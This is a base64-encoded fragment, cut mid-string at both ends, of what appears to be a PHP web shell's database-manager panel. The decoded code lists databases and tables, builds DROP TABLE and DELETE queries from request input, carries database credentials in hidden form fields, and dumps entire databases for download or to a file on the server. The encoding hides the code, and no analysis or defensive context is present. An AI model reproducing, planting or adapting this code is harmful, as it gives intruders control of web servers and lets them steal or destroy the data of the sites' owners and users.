pemU9IjEiIG5vc2hhZGU+DQogICAgICA8P3BocA0KICAgICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICAgZWxzZSB7DQogICAgICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgICAgICRjID0gMDsNCiAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9DQogICAgICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICAgICB9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT4NCiAgICAgIDw/cGhwDQogICAgICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgIGVsc2Ugew0KICAgICAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+DQogICAgICAgIDw/cGhwDQogICAgICAgICRjID0gMDsNCiAgICAgICAgJGRicyA9ICIiOw0KICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnMgLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30NCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7DQogICAgICAgIGVjaG8gJGRiczsNCiAgICAgIH0NCiAgICAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCBzZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT4NCiAgICAgIDw/cGhwDQogICAgfQ0KICAgIC8vRW5kIGxlZnQgcGFuZWwNCiAgICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj4iOw0KICAgIC8vU3RhcnQgY2VudGVyIHBhbmVsDQogICAgJGRpcGxheSA9IFRSVUU7DQogICAgaWYgKCRzcWxfZGIpIHsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQ0KICAgICAgaWYgKCRjID09IDApIHskYyA9ICJubyI7fQ0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOw0KICAgICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0NCiAgICAgIGVjaG8gIjwvYj48L2NlbnRlcj4iOw0KICAgICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOw0KICAgICAgaWYgKCRzcWxfYWN0ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4iYCBcbiI7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX2FjdCA9ICJkdW1wIjt9DQogICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgICAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAoIWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICAgICBlbHNlaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0Iikgew0KICAgICAgICBpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsNCiAgICAgICAgICAka2V5cyA9ICIiOw0KICAgICAgICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQ0KICAgICAgICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30NCiAgICAgICAgICAkdmFsdWVzID0gIiI7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQ0KICAgICAgICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAgICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpIHsNCiAgICAgICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsNCiAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAgICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfYWN0ID09ICJxdWVyeSIpIHsNCiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiAgICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICAgICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIi4kc3FsX3N1cmwuIlwiIG1ldGhvZD1cIlBPU1RcIj48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fSBlY2hvICI8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1cInNxbF9xdWVyeVwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9DQogICAgICB9DQogICAgICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKSB7DQogICAgICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj4NCiAgICAgICAgPC9mb3JtPjwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPg0KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPg0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoIWVtcHR5KCRzcWxfYWN0KSkge2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+Ijt9DQogICAgICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikgew0KICAgICAgICAgIGVjaG8gIjxiPiI7DQogICAgICAgICAgaWYgKChteXNxbF9jcmVhdGVfZGIgKCRzcWxfbmV3ZGIpKSBhbmQgKCFlbXB0eSgkc3FsX25ld2RiKSkpIHsNCiAgICAgICAgICAgIGVjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikgew0KICAgICAgICAgIGlmIChlbXB0eSgkc3VibWl0KSkgew0KICAgICAgICAgICAgJGRpcGxheSA9IEZBTFNFOw0KICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfYWN0XCIgdmFsdWU9XCJkdW1wXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxiPlNRTC1EdW1wOjwvYj48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7DQogICAgICAgICAgICBlY2hvICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fQ0KICAgICAgICAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30NCiAgICAgICAgICAgIGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICBlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsNCiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgICAgICAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAkZGlwbGF5ID0gVFJVRTsNCiAgICAgICAgICAgICRzZXQgPSBhcnJheSgpOw0KICAgICAgICAgICAgJHNldFsic29jayJdID0gJHNxbF9zb2NrOw0KICAgICAgICAgICAgJHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICAgICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOw0KICAgICAgICAgICAgJHNldFsicHJpbnQiXSA9IDA7DQogICAgICAgICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgICAgICAgICRzZXRbIiJdID0gMDsNCiAgICAgICAgICAgICRzZXRbImZpbGUiXSA9ICRkdW1wX2ZpbGU7DQogICAgICAgICAgICAkc2V0WyJhZGRfZHJvcCJdID0gVFJVRTsNCiAgICAgICAgICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZG1wdGJscykpIHskc2V0WyJvbmx5dGFicyJdID0gZXhwbG9kZSgiOyIsJGRtcHRibHMpO30NCiAgICAgICAgICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICAgICAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkgew0KICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkcmV0KSk7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7DQogICAgICAgICAgICAgIGVjaG8gJHJldDsNCiAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpIHsNCiAgICAgICAgICAgICAgJGZwID0gZm9wZW4oJHNxbF9kdW1wX2ZpbGUsInciKTsNCiAgICAgICAgICAgICAgaWYgKCEkZnApIHtlY2hvICI8Yj5EdW1wIGVycm9yISBDYW4ndCB3cml0ZSB0byBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkuIlwiISI7fQ0KICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCRyZXQpOw0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkR1bXBlZCEgRHVtcCBoYXMgYmVlbiB3cml0ZWQgdG8gXCIiLmh0bWxzcGVjaWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKS